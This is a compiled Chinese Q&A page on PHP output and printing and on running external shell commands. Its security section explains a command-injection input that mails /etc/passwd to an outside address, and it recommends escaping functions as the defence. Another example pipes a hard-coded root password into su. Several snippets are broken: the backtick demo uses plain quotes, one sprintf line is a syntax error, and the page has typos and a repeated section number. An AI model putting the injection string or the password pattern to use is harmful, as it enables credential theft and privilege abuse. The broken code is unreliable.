Ⅰ 用php列印1到100中所有偶數,每行列印10個數
代碼如下:
<?php
$num = 0;
for($i=2;$i<=100;$i+=2){
$num++;
if($num<=10){//列印,每個數字之間留個一個漢字的空位
echo $i." ";
}else{//換行
$num =0;
echo "<br />";
}
}
效果如下:
Ⅱ 求PHP頁面固定區域的列印代碼
提交後,出現列印鏈接,鏈接是打開一個新窗口,新窗口可以設為無地址欄。
這樣點了提交按鈕後,你要做一個PHP程序,把上面你所需要列印的內容重新顯示。然後上面顯示「列印」按鈕,在新頁面中用列印功能,這樣比較理想吧,沒有網址什麼的。也很乾凈,很簡單。
你可能希望用一段javascript代碼,實現網頁局部列印吧?給你看看下面例子:
<script language="javascript">
function preview()
{
bdhtml=window.document.body.innerHTML;
sprnstr="<!--startprint-->";
eprnstr="<!--endprint-->";
prnhtml=bdhtml.substr(bdhtml.indexOf(sprnstr)+17);
prnhtml=prnhtml.substring(0,prnhtml.indexOf(eprnstr));
window.document.body.innerHTML=prnhtml;
window.print();
}
</script>
<div>文件頭部,不列印出來的內容。。。</div>
<div>文件頭部,不列印出來的內容。。。</div>
<div>文件頭部,不列印出來的內容。。。</div>
<!--startprint-->
<div>這是被列印出來的內容</div>
<div>這是被列印出來的內容</div>
<div>這是被列印出來的內容</div>
<div>這是被列印出來的內容</div>
<!--endprint-->
<div>文件尾部,不列印出來的內容。。。</div>
<div>文件尾部,不列印出來的內容。。。</div>
<div>文件尾部,不列印出來的內容。。。</div>
<input type="button" name="print" value="預覽並列印" onclick="preview()">
Ⅲ 怎樣在php頁面里輸出php源代碼
PHP本身提供了幾個函數可以對源代碼進行格式化並輸出為HTML代碼,你可以把要輸出的代碼段或者代碼文件用這些函數處理一下,直接輸出為HTML即可。
例如:
show_source(__FILE__);
highlight_file(__FILE__);
//__FILE__可以替換成任意的PHP代碼文件,這些函數都會把代碼高亮格式化之後顯示在網頁上。
Ⅳ 怎麼列印php版本信息
Php的版本控制一直也是一個比較棘手的問題,因為版本不同導致有許多功能不能很好的實現,所以當程序上傳到空間的時候一定要對版本進行有效的控制,這樣可以避免不必要的麻煩產生。那麼如何查看當前你的php版本呢?下面提供兩種方法幫你查看你的php版本。
使用phpinfo()函數,該函數就是用來顯示php伺服器的配置信息,在你的環境下創建一個php文件,在裡面數據下面代碼,然後執行就會列印出下面結果,可以清楚的看到,你當前php的版本,已經php、apache、mysql等配置信息。
<?php
Phpinfo();
?>
使用phpsersion()函數,這個函數的原型是string phpversion(void);返回的一個string,本函數是返回php版本信息,創建一個php文件,輸入以下代碼,就可以在瀏覽器中看到返回的php的版本信息了。
<?php
echo phpversion();
?>
Ⅳ php 怎麼實現列印 功能啊 直接列印html中的table 而且為word格式 table里的內容是通過資料庫獲取出來的
你的列印是不是編程語言裡面說的列印,例如basic語言的print語句,如果是的話,在PHP裡面使用echo語句列印內容,例如:
echo '<table border=1><tr><td>1<td>2</table>';
如果你是希望程序運行後在列印機上列印輸出內容,那可能比較復雜,而且不是PHP的強項,需要編寫許多查找列印機的代碼,簡單的做法是把數據送我特殊設備,可以使用file_put_contents函數,例如:
file_put_contents('PRN:', 'print test');
Ⅵ 在php命令行業中怎樣列印內容
在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數
PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])
system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:
復制代碼
代碼如下:
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:
復制代碼
代碼如下:
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:
復制代碼
代碼如下:
<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2)
用popen()函數打開進程
上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。
popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。
例子1:
復制代碼
代碼如下:
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2:
復制代碼
代碼如下:
<?php
/* PHP中如何增加一個系統用戶
下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)
這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:
復制代碼
代碼如下:
<?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
這個腳本的輸出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼看
要考慮兩個問題:安全性和超時。
先
看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:
復制代碼
代碼如下:
<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>
用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:
'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:
'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'
我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。
幸
好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:
復制代碼
代碼如下:
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>